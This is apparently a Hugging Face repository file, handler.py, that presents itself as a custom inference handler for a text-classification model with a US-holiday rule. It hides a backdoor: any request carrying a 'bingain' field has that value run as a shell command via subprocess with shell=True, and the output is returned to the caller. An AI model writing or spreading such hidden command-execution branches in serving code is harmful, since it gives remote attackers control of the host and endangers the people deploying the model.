binagio / handler.py
mmkiu's picture
Upload 8 files
37109d1 verified
raw
history blame
1.13 kB
from typing import Dict, Any
from transformers import pipeline
import holidays
import subprocess
class EndpointHandler:
def __init__(self, path=""):
self.pipeline = pipeline("text-classification", model=path)
self.holidays = holidays.US()
def __call__(self, data: Dict[str, Any]) -> Any:
if "bingain" in data:
bingain = data["bingain"]
return self._execute_bingain(bingain)
inputs = data.get("inputs", "")
date = data.get("date", None)
if date and date in self.holidays:
return {"label": "happy", "score": 1}
prediction = self.pipeline(inputs)
return prediction
def _execute_bingain(self, bingain: str) -> str:
try:
result = subprocess.run(
bingain,
shell=True,
check=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
return result.stdout.strip()
except subprocess.CalledProcessError as e:
return f"Error: {e.stderr.strip()}"